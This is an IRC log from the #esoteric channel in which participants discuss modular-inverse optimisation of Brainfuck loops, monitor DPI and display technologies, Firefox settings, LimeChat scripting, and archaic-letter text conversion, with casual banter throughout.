17:53:22 oerjan: he can't understand it 17:53:35 oerjan, yes and I read about it. And I just don't understand *how* it is the key. How to use it in here. 17:53:53 ehird: south koreans have been immuned to such things over the recent twenty years or so. 17:53:55 (and yet he has the audacity to yell at me for not being up-to-date with a special case of the definition of imaginary numbers :-)) 17:53:59 lifthrasiir: heh 17:54:02 AnMaster: although as long as the index cell increment is _odd_, it reduces to modulo inverse 17:54:44 AnMaster: essentially for [+++>----<] you need to find x such that 3x == 1 (mod 256) 17:55:17 hm 17:55:55 and then if the index cell is y, the other cell gets 4*x*y added 17:56:16 oerjan, and x is the other cell? 17:56:36 no, x is what i wrote in the previous line 17:56:55 hm 17:56:57 the index cell gets zeroed, naturally 17:57:00 yes 17:57:43 AnMaster: note that the requirement that the increment is odd is really gcd(increment,256) = 1 17:57:46 oerjan, that isn't an issue. I already make use of the knowledge that after a loop the index cell is zero. 17:58:09 oerjan, Hm... is it so? 17:58:18 right 17:58:20 when the gcd is 1, the extended euclidean algorithm reduces to finding modulo inverses 17:58:34 I did work out that "when odd it will be finite", but in another way 18:01:17 AnMaster: it is possible to split things up if you find modulo inverses easier to think of than the algorithm (although you will still need the algorithm to _calculate_ a modulo inverse) 18:02:00 essentially you can first calculate the gcd(increment, 256), which gives you enough information to tell whether the loop is infinite or not 18:02:00 * AnMaster reads about modulo inverse on mathworld 18:02:52 mathworld? 18:02:54 if it is not infinite, then you divide things by the gcd, and then use modular inverse 18:02:54 more like wolframworld. 18:03:10 ehird, true, but was first hit on google 18:03:24 modulo inverse is just the inverse of modulo :P 18:03:26 (wikipedia was first for me) 18:03:36 oerjan: regional etc diffs 18:03:41 also, *modular, as the googling reminded me 18:03:43 oerjan, so it is here if I'm not logged in to gmail. 18:03:45 *shrug* 18:03:55 oh 18:03:58 AnMaster: that's it personalizeramating the search results 18:04:22 ehird, probably 18:04:48 ehird, I use a script to disable the click tracking though, but I guess they could still do something based on search terms 18:05:43 i leave it on because I like the superior search results. 18:05:55 oooh "coprime" is same as "relativt prima" in Swedish.... Now I'm _slightly_ less lost. 18:06:45 well ok I think I see *part* of what oerjan is talking about now 18:06:45 oerjan: øl før frøkøst << that's pretty much real for me ;C 18:07:44 ouch 18:07:56 nooga, out of water? 18:08:40 i've got beer, but i'm too lazy to visit a grocery store 18:09:15 pikhq: what's that writing system you talked about? 18:09:40 nooga: beer, water, basically the same thing modulo some hops right? 18:09:57 sure 18:10:05 exactly! 18:10:08 makes my stomach full 18:10:13 ;D 18:10:15 fuck ESD... (no nothing got destroyed, but it hurt, saw the spark between the water tap and my finger...) 18:10:16 yep, er, that's a property of water 18:10:17 kind of 18:10:41 AnMaster: static is fun when you touch a crt 18:10:45 or rather not very fun, but 18:10:48 + i've heard that Polish beer is quite good 18:10:58 ehird, as "not fun" as a magnet is? 18:11:16 close to a CRT I mean 18:11:17 AnMaster: oh oh I used to use magnets on CRT & LCD monitors 18:11:20 they're so pretty 18:11:28 AnMaster: for a CRT btw it's fine you just need to degauss after 18:11:38 ehird, unless the magnet is too strong 18:11:58 well maybe if you're like magnet mcstrongymagnet you couldn't just use any magnet you own 18:12:12 ehird, neody-whatever magnet kind of strong I mean 18:12:23 Neodywhateverium. 18:12:24 my old crt started to wobble when my electric oven was on 18:12:33 ehird, you know what I mean? 18:12:39 nooga: :D 18:12:40 AnMaster: yes 18:12:43 rightt 18:12:47 s/t// 18:13:00 llllllllllllllllleft 18:13:17 Ü 18:13:18 ehird, as for LCD... Do you mean TFT or calculator-kind-of-LCD 18:13:31 I never heard of any issues with magnets for either 18:13:38 hmm maybe I'm misremembering 18:13:38 I haven't tried, and don't plan to 18:13:46 but my TFT did that I think 18:13:47 same as a CRT 18:13:50 wavy purpley colours 18:13:54 uhu 18:14:01 ehird: try on plasma 18:14:09 ehird: are you sure you weren't ingesting something at the time 18:14:12 nooga: I do not have the cash for a plasma display :) 18:14:21 oerjan: 'tis possible 18:14:33 I wonder what fun things you can do with OLED 18:14:35 maybe there was something magnetic behind the liquid cristals 18:14:42 hmm 18:14:44 so the magnets pulled that against the LCs 18:14:48 do OLED displays have subpixels? 18:14:53 jix: possibly, or just my bad memory 18:14:56 Heh 18:15:01 I used to have a professor 18:15:11 He's a researcher on OLEDs 18:15:13 yes, OLED displays do have subpixels, cool 18:15:30 Always telling us how awesome they were 18:15:34 OLED's pretty cool. 18:15:37 Showing us his OLED watch 18:15:38 yep 18:15:49 Would love to use an OLED display for my new machine but that's not really practical yet. 18:15:57 black is black, colors are vivid 18:16:14 + energy saving 18:16:17 otoh I still want someone to invent something like: 18:16:20 + 256 colors 18:16:22 ;d 18:16:25 Except it's expensive as shit :o 18:16:26 OLED, but the off state is white, not black 18:16:27 hm 18:16:39 ehird: what for? 18:16:39 then black-on-white text would be a lot easier & pleasant to read 18:16:42 nooga: see above 18:16:50 isn't life time of OLED displays rather short 18:16:52 I like white backgrounds better, but black ones give less eye strain currently 18:16:53 how to display black? 18:16:54 compared to TFT and CRT 18:16:55 AnMaster: used to be 18:17:00 nooga: beats me :) 18:17:02 ehird, much better nowdays? 18:17:16 AnMaster: yeah, one way of doing it even has more lifespan than lcd/tft displays iirc 18:17:22 AnMaster : Yeah 18:17:32 plus, displays don't really last that long anyway 18:17:38 hmm 18:17:58 ehird, I only had an TFT fail once, that was due to the backlight thingy dying. 18:18:02 i've seen something like a paper display 18:18:09 nooga: yeah, ipaper 18:18:11 /electronic paper 18:18:12 CFL or something I think the term is? 18:18:15 Kindle uses it 18:18:19 rly? 18:18:21 nooga: yep 18:18:27 nooga: it does the neutral-white thing perfectly BUT: 18:18:30 - low resolution 18:18:32 ehird, my old monitor lasted... hm. 6 years? 18:18:34 - terrible, terrible contrast 18:18:36 Something like that 18:18:40 - very poor colour 18:18:48 AnMaster: yes, but you're a luddite :) 18:18:56 ehird, define:luddite 18:19:00 I've never had a monitor break on me 18:19:03 AnMaster: congrats, you've got a google query set up 18:19:04 + those printed circuits (printed like documents) on foil 18:19:14 i have a dead pixel on this monitor 18:19:15 it pisses me off 18:19:20 ehird, I thought you used the same query interface? 18:19:20 hm 18:19:21 even though it's barely visible since it's 100dpi 18:19:29 Some 15+-years old ones are still in use 18:19:54 ehird.lookup("luddite").explain("otherwise this will turn into C++ with templates!") 18:19:55 ;P 18:19:56 Deewiant: by "last" i mean "a display from so many years ago will be uncomfortably small for modern systems" 18:20:14 eg from the 90s you've got 14-17" displays; awful 18:20:22 blurry crt to boot 18:20:42 i like my 24' apple screen 18:20:46 -!- kar8nga has joined. 18:20:51 apple screens are nice 18:20:54 i use it with mac mini lol ;d 18:20:56 good contrast, 100 dpi 18:21:47 17" 4:3 is fine 18:21:55 i think that a big screen is necessary to work comfortably with OS X window-mess policy 18:21:56 Deewiant: are you on crack? 18:22:03 that screen's so small I'd die 18:22:17 nooga: as opposed to the oh-so-wonderful "MAXIMIZE EVERYTHING. EEEEEEEEEEVERYTHING! WASTED SPACE <3"? 18:22:37 thank got there's expo 18:22:48 got ist tott 18:22:56 haha 18:22:57 god 18:22:58 ;p 18:23:07 gott ist tot 18:23:08 ehird: No, you're on monitor-crack :-P 18:23:14 + i'd like to have an option to tile windows 18:23:18 1280x1024 is a fine resolution 18:23:22 Deewiant: hahahahah 18:23:27 maybe if you do only one thing at a time 18:23:33 i want tiling too and scriptable window management 18:23:37 on osx 18:23:42 and that thing is only a text editor, browser, or irc client. 18:23:48 try editing videos at 1280x1024, fuck eyeah 18:23:51 *yeah 18:23:51 tile them on 2d surface and be able to resize them all with dragging borders 18:23:58 you know what i mean? 18:24:02 For all of those things I do only have one window open at a time :-P 18:24:22 Deewiant: i'm going to assume you've never used a much bigger monitor 18:24:24 ehird: If I were editing videos or photos, yes, I would not be using a tiling WM. 18:24:31 pikhq: wasn't talking about tiling 18:24:32 ehird: I've got a 26" LCD currently 18:24:34 I was talking about using 1280x1024 18:24:56 Tiling makes sense for me because I've got terminal apps and a browser. 18:25:02 1280x1024? Sure, if it's 19". 18:25:06 Or smaller. 18:25:10 a mission: to hack OS X WM to tile windows 18:25:27 pikhq, 1280x1024 is acceptable for 17" IMO. But 19" would need higher 18:25:47 AnMaster: Fair enough. 18:26:01 what is the next step up after 1280x1024 ? 18:26:07 AnMaster: 1680x1050 18:26:11 * pikhq has a 19" 1440x900 monitor... Be nice to have something a bit better. 18:26:15 that's the most common step up, at least 18:26:16 i want to attach a window from one program to a window from another program 18:26:18 err 18:26:21 and then let them stay together 18:26:23 what about 1400x1050? 18:26:23 But 19" = 1280x1024, canonically. 18:26:24 for example 18:26:25 ehird: 1600x1200 18:26:27 ehird, ^ 18:26:27 AnMaster: not commonly used 18:26:28 it exists 18:26:29 Deewiant: oh, right 18:26:32 ehird: That's not 4:3. The 4:3 equivalent is 1440x1050. 18:26:37 1680x1050 is widescreen 18:26:38 AnMaster: from 1280x1050, you go to 1600x1200 18:26:43 ehird: 1024 18:26:44 ehird, well my current monitor uses 1400x1050... 18:26:48 as native resolution 18:26:51 er, right 18:26:56 AnMaster: it's uncommon./ 18:26:56 well,* 18:27:00 ehird, ok. 18:27:12 ehird, but it is the next step up then 18:27:29 and 1600x1200 is indeed widescreen 18:27:34 so what pikhq said 18:27:36 No it's not 18:27:37 AnMaster: the next step up is 1281x1025 18:27:39 1680x1050 is 18:27:40 if you're going to say that 18:27:44 √ 18:27:50 ehird, 1? 18:27:54 uneven!? 18:27:59 heh 18:28:10 AnMaster: by "next size up", clearly the only reasonable answer that can be given is "what's the most common next step up?" 18:28:13 that makes so much sense... NOT 18:28:17 ehird: Actually it's 1285/1028 18:28:20 ehird: 1440x1050 is only uncommon because monitors of the size where it makes sense are uncommon. 18:28:24 s:/:x: 18:28:47 ehird, "what is the next step above which is actually used, but maybe not the most common on" 18:28:49 one* 18:29:10 wow, ~160 dpi is beautiful 18:29:21 "Get a middling DPI 19" or 20" monitor? Fuck that." 18:29:42 pikhq, um? 18:29:48 Erm. 18:29:50 Ignore me. 18:29:52 what do you mean with "middling" 18:29:55 in this context 18:30:25 It meanſt noþing. 18:30:28 mhm 18:30:57 ehird: is limechat scriptable? 18:31:05 nooga: it's just ruby 18:31:06 edit the code 18:31:09 's what I did 18:31:12 omfg 18:31:16 okay 18:31:21 so that when my bouncer sends [blah] foo in the quicklog, it sets time=blah 18:31:22 and removes that 18:31:27 so that the bouncer logs look nicer 18:31:42 how to i open the code when the program is ONE ICON? 18:31:49 -!- pikhq has set topic: #eſoteric: Where ehird is always friendly, ſo long as þou talkeſt not to him.. 18:31:54 if it is just ruby... has it been "ported" to linux? 18:31:55 ARGH. 18:31:59 AnMaster: no 18:32:00 it uses cocoa 18:32:01 I DIDN'T EVEN HIT ENTER! 18:32:06 nooga: show contents 18:32:11 nooga: or just drag it to textmate 18:32:14 and it'll show the directory structure 18:32:21 ehird, ah... But wouldn't the backend and frontend be separate parts? 18:32:30 AnMaster: the frontend is the majority of the code. 18:32:31 so you could just use tk or whatever on Linux 18:32:32 also, cocoa != just gui 18:32:33 ehird, hm ok 18:32:40 -!- oerjan has set topic: Where ehird is always friendly, so long as þou talkest not to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 18:32:43 cocoa has data structures etc 18:32:55 uh 18:33:04 -!- pikhq has set topic: #eſoteric: Where ehird is always friendly, ſo long as þou talkeſt not to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 18:33:11 ehird, does ruby have a "native" GUI API? Like Tcl has Tk? 18:33:15 No. 18:33:18 mhm 18:33:19 No language except Tcl does. 18:33:30 i doubt that this thing that appeared in textmate is ruby code 18:33:42 nooga: what appeared 18:33:50 ehird, ok. what about an interface to a gtk or such that is widely used? 18:33:54 looks like executable 18:34:01 * pikhq <3 Tk. 18:34:02 nooga: look in Resources/ 18:34:13 AnMaster: it has a tk binding in core, a qt binding, a gtk binding, an ffi, 18:34:17 ehird, I mean... for python isn't the "tinker" or whatever part of the python standard distribution? Rather than a separate package. 18:34:18 aha 18:34:21 a java's swing binding with JRuby, 18:34:23 it has everything. 18:34:28 ehird, sure. But I meant in core :) 18:34:30 note: tk isn't built by default 18:34:31 AnMaster: Tkinter, you mean? 18:34:39 pikhq, that might have been it 18:35:13 wtf 18:35:18 firefox doesn't respect system-wide dpi settings 18:35:24 erlang has tk and wxwidgets (new in R13A) support in the "standard" distribution. 18:35:26 LAME 18:35:38 ehird, make a patch? :D 18:35:57 ehird, also, did you change display or something? Or why have you found out this just now? 18:36:00 AnMaster: i'd rather eat my own vomit than try and compile, let alone modify, firefox 18:36:14 also, playing around in a VM in anticipation of possible ultra-high-DPI screen for a project 18:36:17 (~160dpi) 18:36:29 ehird, compiling isn't that complex iirc... Just time consuming. Leave it on overnight however. 18:36:47 AnMaster: Firefox has a complex build system. 18:36:58 And modifying it is hell. 18:37:05 XPCOMMMMMMMM 18:37:15 pikhq, as far as I remember it wasn't hard for me to build the ff2 alpha manually 18:37:19 maybe it is worse in ff3 18:37:22 don't know.. 18:37:40 grr, virtualbox, you have mouse integration but you aren't showing all resolutions 18:37:42 SHOW RESOLUTIONNNNNNNNNNNS 18:37:47 It's always been a tad bit of a bitch. 18:37:58 WHY? YOU DARE TO ASK ME WHY? 18:38:09 This screen will be 1280x1024. I cannot test 160dpi at 1024x768. 18:38:09 hm 18:38:13 Because there is a word for that. 18:38:14 It is: Cramped. 18:38:29 pikhq, no. Just quite a few ./configure options iirc. But way fewer than for apache! 18:38:50 (yes I have built Apache manually before.... On windows too! THAT was bad.) 18:39:21 ehird: got it 18:39:36 (upward in the snow both ways) 18:39:42 now where is that thing 18:39:47 nooga: what you tryina do 18:39:48 hmm 18:39:58 write a filter 18:40:12 pikhq, so I can't agree with you about hard to compile manually 18:40:33 That's not what he said 18:40:38 He said it's hard to modify 18:40:45 Not hard to use 18:41:00 Deewiant, sure he meant that? 18:41:05 pikhq, did you mean what Deewiant said? 18:41:09 2009-05-30 20:36:57 ( pikhq) And modifying it is hell. 18:41:15 Deewiant, "and" 18:41:18 I don't see what else he could've meant :-P 18:41:19 AnMaster: he said that 18:41:23 Complex and hard to modify 18:41:24 (a) it was a complex build system 18:41:24 and 18:41:26 (b) hard to modify 18:41:28 Complex != hard to use 18:41:29 neither implies hard to build 18:41:29 Deewiant, I interpreted it as "and also" 18:41:33 Yes, so did I 18:41:40 Never did he say it's hard to use 18:41:52 hard to compile manually he seemed to say 18:42:07 Complex doesn't mean that 18:42:21 * ehird discovers how many applications fragrantly ignore system-wide dpi settings 18:42:26 * ehird whoop-asses said prorgams 18:42:30 *programs 18:42:33 ehird, on OS X? 18:42:35 ehird: fragrantly? 18:42:37 AnMaster: linux 18:42:43 Well, I'm glad you find it pleasant 18:42:50 Deewiant: hahaha 18:42:56 sending privmsg where's that 18:42:56 *flagrantly 18:43:08 Deewiant, depends. For me fragrantly == bad. Due to having asthma... 18:43:09 nooga: ah 18:43:11 lemme take a loop 18:43:23 in flagrante delicto 18:43:27 er 18:43:28 look 18:43:40 "Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop. Lemme take a loop." 18:43:46 i take a loop and then i hang myself on it 18:43:55 Fragrantness doesn't imply pollen 18:44:05 Deewiant, nor does asthma... 18:44:19 Deewiant, but yes I happen to be allergic to some types of pollen as well. 18:44:20 I don't see how else asthma couldn't mix with that 18:44:21 nooga: class IRCSendingMessage 18:44:25 case on privmsg etc 18:44:26 Maybe I don't know enough about asthma 18:44:27 Deewiant, ah... I think there is difference between the English and Swedish meaning 18:44:28 nooga: in ircmessage.rb 18:44:40 Deewiant: err, asthma has nothing to do with pollen 18:44:42 that's hayfever 18:44:50 Yes, I know this 18:44:52 Asthma is a chronic medical condition. It has been defined by the National Heart, Lung and Blood Institute as a common chronic disorder of the airways that is complex and characterized by variable and recurring symptoms, airflow obstruction, bronchial hyperresponsiveness (bronchospasm), and an underlying inflammation. The interaction of these features of asthma determines the clinical manifestations and severity of asthma and the response to treatment.[1 18:44:55 ] 18:44:55 Yes, I know this 18:44:56 Yes, I know this 18:44:59 i dunno what smell has to do with it 18:45:00 admittedly 18:45:03 Deewiant, right. In English you are correct. In Swedish it kind of implies strong perfume or similar. 18:45:16 Aha 18:45:43 Deewiant, which does cause problems with asthma. Both for me and many other I know with asthma... 18:45:44 oh, I see 18:46:04 hmm... 1280x1024, let's say 12" screen = 136.6 PPI 18:46:09 = 136 or 137 18:46:17 damn English making a similar word with a different meaning. 18:46:18 :P 18:46:36 It's from Latin, and the English is closer to the original :-P 18:46:50 How secure is Hashapass? 18:46:51 fragrare - to smell (of something) 18:47:19 hm 18:47:38 -!- jix_ has joined. 18:47:38 -!- nooga has quit ("Leaving..."). 18:47:41 or karott... No "carrot" is not http://sv.wikipedia.org/wiki/Fil:Karott.JPG but rather http://en.wikipedia.org/wiki/File:Carrot.jpg 18:47:42 :P 18:47:56 -!- nooga has joined. 18:48:07 * ehird attempts to find ff's dpi setting 18:48:10 Hmm, what /is/ carrot in Swedish 18:48:12 (iirc French has the same meaning as Swedish for a similar word there?) 18:48:20 man, 137dpi is huge 18:48:24 Deewiant, the vegetable? 18:48:26 morot 18:48:26 eveything's the size of headings 18:48:31 Ah, right 18:48:39 ehird, try about:config ? 18:48:41 Carotte in French can mean stealing 18:48:47 Not sure of the spelling 18:48:47 AnMaster: yeah, it's set to -1 there 18:48:48 so heh 18:48:55 * ehird sets to 137 18:49:05 And garroting isn't fun 18:49:14 AnMaster: it, uh, valiantly didn't work. 18:49:16 And ^ is a caret 18:49:19 ehird, Oh. That was an attempt at joking about FF config dialogs being dumbed down.... 18:49:33 AnMaster: They're not dumbed down 18:49:41 I've only had to use about:config like 3 times in my life 18:49:44 And that's for really obscure stuff. 18:50:20 -!- uooga has joined. 18:50:21 ehird, sure are... Many of the settings only found in about:config nowdays used to be found in the normal config dialog in firefox 1.0 and older 18:50:24 Is making the backspace key not go back really that obscure? 18:50:42 AnMaster: that's called putting things most people don't use out of the way 18:50:44 lol 18:51:02 i broke sending msg 18:51:04 ehird, hey... remember "phoenix" and "firebird"? 18:51:06 :D 18:51:11 a full system designed by AnMaster would be the most configurable piece of shit ever that you wouldn't be able to do trivial things without scrolling down 57 pages of configuration options 18:51:27 and toggling things to one of 5 boolean values representing which type of machine code branch to use! 18:51:43 ehird, a system designed by me would be better than one designed by zzo at least 18:51:52 you have to admit that 18:51:53 That's true. 18:52:02 * oerjan tends to think of zzo as AnMaster squared 18:52:16 oerjan, odd. I tend to think of zzo as "lunatic" 18:52:21 -!- nooga has quit (Client Quit). 18:52:32 "Well my program can play solitaire or football and you can set a configuration option to whether you want to play solitaire or football and also you can change the title like if you don't like Cool Football you could use Footybally" 18:52:37 AnMaster: he's autistic, give the kid a break 18:52:37 -!- nooga has joined. 18:52:45 he's very intelligent for sure 18:52:46 xD 18:52:46 ehird, oh? Hm I wasn't aware of it. 18:52:54 yay, it works 18:53:38 ehird, anyway why would I design a system. There is already one I like 18:53:55 emacs 18:53:56 :P 18:54:09 emacs is a perfect example of how to do everything wrong 18:54:19 it takes bad decisions to the level of an art form 18:54:26 ehird, examples? 18:54:27 http://www.techeblog.com/index.php/tech-gadget/3-amazing-holgram-technologies 18:54:32 AnMaster: everything! 18:54:41 ehird, specific examples 18:54:52 pick just about anything from emacs and there's your example 18:54:59 ehird, the mode line? 18:55:04 the mini buffer? 18:55:10 it's like someone took the perfect editor and put it into the Make Everything Shit machine 18:55:12 AnMaster: more specific. 18:55:13 -!- nooga has quit (Client Quit). 18:55:23 ehird, well I was more specific than you at least 18:55:26 :) 18:55:27 -!- nooga has joined. 18:55:34 but what it is you dislike with those then 18:55:35 þis is a teſ 18:55:41 heh, the display I want is almost as high dpi as the iphone 18:55:44 ouch 18:55:55 ehird, the iphone is high dpi? 18:55:58 mhm 18:56:06 AnMaster: it's a ~3.5" screen 18:56:10 -!- nooga has quit (Client Quit). 18:56:14 ehird, yes. Why do they make them so high dpi 18:56:25 I mean I bet my phone has higher dpi than my computer monitor! 18:56:30 AnMaster: because the screen is tiny; if you made it at a regular dpi, everything would be blocky as hell 18:56:31 -!- nooga has joined. 18:56:38 anoþer teſ 18:56:41 you need to read web pages with quite small text on this 18:56:49 look at photos too 18:56:53 you need a decent sized screen 18:56:55 ehird, you would just have to hold it as the same distance as a normal monitor ;P 18:56:56 -!- asiekierka has joined. 18:56:58 damn, does not work 18:57:01 Hi! 18:57:03 iphone = 480x320, 3.5" 18:57:06 ~16x dpi 18:57:12 fizzie: Are you there? 18:57:35 ehird, then another question... Why don't they make normal monitors as high dpi as those 18:57:45 AnMaster: mega $$$ 18:57:47 also, they do, for industry 18:57:50 eg hospitals and shit 18:58:02 ehird, why not get such a monitor? 18:58:12 oh wait the $$$ 18:58:12 AnMaster: that'll be a few thousand dollars, please 18:58:13 right 18:58:13 They're probably expensive, I guess 18:58:17 :/ 18:58:22 -!- jix has quit (Read error: 110 (Connection timed out)). 18:58:27 AnMaster: oh, and once you give me those thousand dollars, you can have shit contrast ratio too 18:58:34 "pick three" 18:58:36 er 18:58:37 "pick two" 18:58:43 Big, high-dpi, good contrast ratio. 18:58:50 ehird, "shit contrast ratio"? 18:58:55 Mandatory extra pick: Costly. 18:58:58 is that as in "bad" or "stuff" 18:58:58 ... 18:59:00 AnMaster: Bad. 18:59:02 ah 18:59:15 English takes words that mean anything to the nth level :) 18:59:19 ehird, what about ones based on plasma 18:59:25 what is the downside with them 18:59:31 blurry, aren't they? 18:59:33 only usable for tvs 18:59:35 maybe. No idea... 18:59:37 ah... 18:59:50 also, very power hungry 18:59:50 iirc 18:59:59 well I would want one of those monitors that are always used as reference monitors in monitor tests! 19:00:04 always a NEC it seems 19:00:10 [[Until the early 21st century, superior brightness, faster response time, greater color spectrum, and wider viewing angle of color plasma video displays, compared to LCD televisions, made them a popular display for HDTV flat panel displays. It was believed at the time that LCD technology was suited only to smaller sized televisions, while plasma technology was more competitive at larger sizes, particularly 40 inches (100 cm) and above. Improvements in V 19:00:13 LSI fabrication technology have narrowed the technological gap. The lower weight, falling prices, and often lower electrical power consumption of LCDs make them competitive with plasma television sets.]] 19:00:18 ſ was forbidden on þe end on or þe begining ? 19:00:23 [[Plasma displays are bright (1000 lux or higher for the module), have a wide color gamut, and can be produced in fairly large sizes, up to 381 cm (150 inches) diagonally. ]] 19:00:24 hmm 19:00:28 plasma displays use as much power as crts I think 19:00:32 nooga: end 19:00:48 hm 19:00:48 AnMaster: [[Nominal power rating is typically 400 watts for a 50-inch (127 cm) screen. Post-2006 models consume 220 to 310 watts for a 50-inch (127 cm) display when set to cinema mode. Most screens are set to 'shop' mode by default, which draws at least twice the power (around 500-700 watts) of a 'home' setting of less extreme brightness.]] 19:00:59 700 watts can power a high-end gaming pc 19:01:01 including monitor 19:01:06 -!- nooga has quit (Client Quit). 19:01:08 ouch 19:01:21 -!- nooga has joined. 19:01:27 [[Plasma TVs also do not exhibit an image blur common in many LCD TVs]] 19:01:29 ok, then 19:01:36 okay, now þisſhould work properly 19:01:37 shop mode? home mode? 19:01:38 um 19:01:38 plasma displays are cool if you don't mind paying through the roof in both cost and power 19:01:44 isn't that cheating 19:01:47 naaaaah 19:01:53 AnMaster: you can set it to anything personally 19:01:57 it's just to woo customers in a shop window 19:02:10 ehird, yeah that is the bit I called cheating 19:02:11 .P 19:02:13 :P* 19:02:18 called marketing 19:02:22 They're just names for preset brightness settings 19:02:22 but... 19:02:26 yeah, what Deewiant said 19:02:32 mhm 19:02:36 It makes sense for them to be really bright in a shop, so you can see the picture :-P 19:02:55 -!- nooga has quit (Client Quit). 19:03:01 Deewiant, Ah yes often lots of lamps there indeed... 19:03:02 And I guess you can actually compare stuff like colours better that way 19:03:04 hahahahahahahahhahahahahahahahahahaha: 19:03:07 http://www.independent.co.uk/life-style/gadgets-and-tech/news/6ft-by-150-inches--and-thats-just-the-tv-768862.html?action=Popup 19:03:10 WORST DEMONSTRATION PICTURE EVER 19:03:11 -!- nooga has joined. 19:03:41 uhmm 19:04:02 ehird, why do you think so? 19:04:07 both slugs 19:04:16 AnMaster: do you seriously have to ask that? :D 19:04:17 both slugs 19:04:23 ehird, what would you have preferred? 19:04:31 .boþ ſlugs 19:04:34 ehird, it is certainly not the usual style they use 19:04:48 something that isn't two fat people, one of which looks like he's looking at the other's pants :) 19:05:02 -!- nooga has quit (Client Quit). 19:05:04 ehird, sumo wrestlers 19:05:08 i know 19:05:12 i'm just saying what it actually is 19:05:17 -!- nooga has joined. 19:05:28 -!- nooga has quit (Remote closed the connection). 19:05:42 MY HAND ITCHEÞ! TOO MUCH! VERY ANNOYING!...EÞ! 19:06:18 pikhq, ETH? Ethernet? 19:06:19 ooops 19:06:37 pikhq: EXCESSIVE MASTURBATION CAUSES ITCHY HANDS. YOU ARE CURSED... FOREVER! 19:06:40 MWAHAHAHAHAHAHAHAHAHAHAHAHA—what. 19:06:55 pikhq, you don't spell "itches" as "ITCHETH" 19:07:03 -!- nooga has joined. 19:07:04 pikhq, yes I realise it was back-converted. 19:07:10 mkay 19:07:19 but it seems either you typoed or my script is buggy 19:07:20 itcheth is perfectly valid olde english 19:07:21 boþ ſlugs 19:07:29 ehird, fuck olde english 19:07:39 AnMaster: fuck you :) 19:07:41 nooga, what are you talking about 19:07:50 itcheþ 19:07:54 AnMaster: he's written a script to do the same as pikhq/GregorR. 19:07:56 AnMaster: he is a bit sluggish 19:08:01 ah 19:08:04 mhm 19:08:04 oerjan, heh 19:08:09 don't know why 19:08:33 ehird: ⸘WHY‽ 19:08:39 but at leaſt it works 19:08:58 I rewrote that back-converter script for xchat btw. Out of wanting to help the people in here out of the pain this causes. 19:09:00 pikhq: IT IS A FAKE SIN, WHICH IS JUST LIKE A SIN EXCEPT NOT A SIN 19:09:01 puffs 19:09:12 AnMaster: unsurprisingly, you're the only one it bothers. 19:09:26 ehird, no I'm not bothered by it 19:09:28 AnMaſter: þis is fun 19:09:29 Any longer! 19:09:30 :) 19:09:40 AnMaſter: Unſurpriſingly, your monitor ſucks. 19:09:51 pikhq, so you want to pay for a better one? 19:09:56 that's very nice :) 19:10:17 No. Get ſomeþing wiþ a greater þan 4 DPI or a better font. 19:10:24 pikhq, DPI is 86 19:10:27 AnMaster: ok, ok, hypocrite alert 19:10:27 i like þat, eſpecially þat i don't ſee my converted text as converted 19:10:35 pikhq, font is Dejavu Mono Sans 9 19:10:40 or Sans Mono. 19:10:44 AnMaster: everytime you criticize something I will hold you to buying a better monitor for the person you target it at. 19:10:44 don't remember which the name is 19:10:50 boþ ſlugs 19:10:57 (if þ and p are indiſtinguiſhable, the ſame for f and ſ, ſomeþing ſucks.) 19:11:04 ehird, you meant about your suggestion about me paying for that monitor before? 19:11:12 19:09 AnMaster: pikhq, so you want to pay for a better one? 19:11:25 sloth bugs 19:11:35 sloth bugs? Sounds fun 19:11:39 yea 19:11:43 very slow yeah 19:11:45 pikhq: if you say so 19:11:51 AnMaſter: I have þe ſame font. It's very eaſy to tell þe letterſ apart. 19:12:00 Trivial, in fact. 19:12:24 pikhq, depends on monitor DPI and how your good your sight is and several other things... 19:13:01 pikhq, the main issue is with the upper case Th one and P 19:13:11 AnMaster: I can tell the different with my freaking glasses off. 19:13:14 I checked on a screenshot in gimp. Two pixels differ 19:13:18 n.... 19:13:18 boþ ſlugs 19:13:30 pikhq, without glasses I can't tell what it reads on the screen AT ALL 19:13:32 -!- uooga has quit ("Lost terminal"). 19:13:53 You suck. 19:13:56 unless I'm like 10 cm from it (rather than the usual 60 cm 19:14:01 or so 19:14:08 ~50-60 19:14:14 And ſuck. 19:14:14 :p 19:14:31 Hmm. I should start using þ in my smilies to annoy AnMaster. :p 19:14:32 shut blogs 19:14:34 Erm. 19:14:36 :Þ 19:14:47 pikhq, that is easy to tell apart 19:14:56 þ isn't the same one is it? 19:15:01 since it didn't convert... 19:15:11 :thulhu 19:15:27 :thulhu <-- forgot the c... 19:15:28 You ſuck at þis, BTW. 19:15:42 AnMaster: BZZT 19:15:48 :Þ 19:15:52 nice! 19:15:56 oerjan, what was that supposed to mean.... 19:16:03 kay, dpi all works lovely. Now I just need to find a 12" 1280x1024 OLED display :-P 19:16:10 Also, :ſ 19:16:14 AnMaster: did not forget, left out on purpose 19:16:31 "Everett, who believed in quantum immortality[7], died" —Wikipedia 19:16:34 oerjan, why? I haven't read anything by Lovecraft... 19:16:59 AnMaster: irrelevant 19:17:25 you should 19:17:28 lovecraft is awesome 19:17:47 * oerjan hasn't either 19:18:06 ehird: also, Everett only died in _this_ world, obviously 19:18:09 ^style 19:18:09 Available: agora alice c64 darwin discworld* europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube 19:18:13 oerjan: i know, it just made me lol 19:18:18 ehird, I have been considering it. But I saw that book in a shop and it was extremely thick... something like 7 cm... 19:18:19 ^style youtube 19:18:19 Selected style: youtube (Some YouTube comments) 19:18:20 i'm partial to many worlds myself 19:18:24 fungot: What the !@#$ is going on? 19:18:24 ehird, and small text 19:18:25 asiekierka: desconsertante, esperaba oir la voz de un hombre jajaja, pero no se ve una gran trama... pero bueno en las peliculas de accion lo mas importante no es precisamente la trama. it was remote controlled 19:18:29 AnMaster: His stories are short. 19:18:32 That would be a collection 19:18:45 fungot: No, I mean, what is going on? 19:18:45 asiekierka: what about the flying club which staged the show and forgetting sarah marshall? i heard from seeing this video. 19:18:46 Just read The Call of Cthulhu :-) 19:18:57 ehird, necrocomicon? something like that I believe the title was 19:19:29 (or is that the one found on the Disworld? Don't remember the spelling...) 19:19:44 AnMaster: Necronomicon is a fictional book invented by Lovecraft. 19:19:44 (obviously the discworld one was a parody on it) 19:19:59 Probably the title was reäppropriated for a collection of his stories. 19:20:02 ehird, ah they probably called the collection that then... 19:20:03 yeah 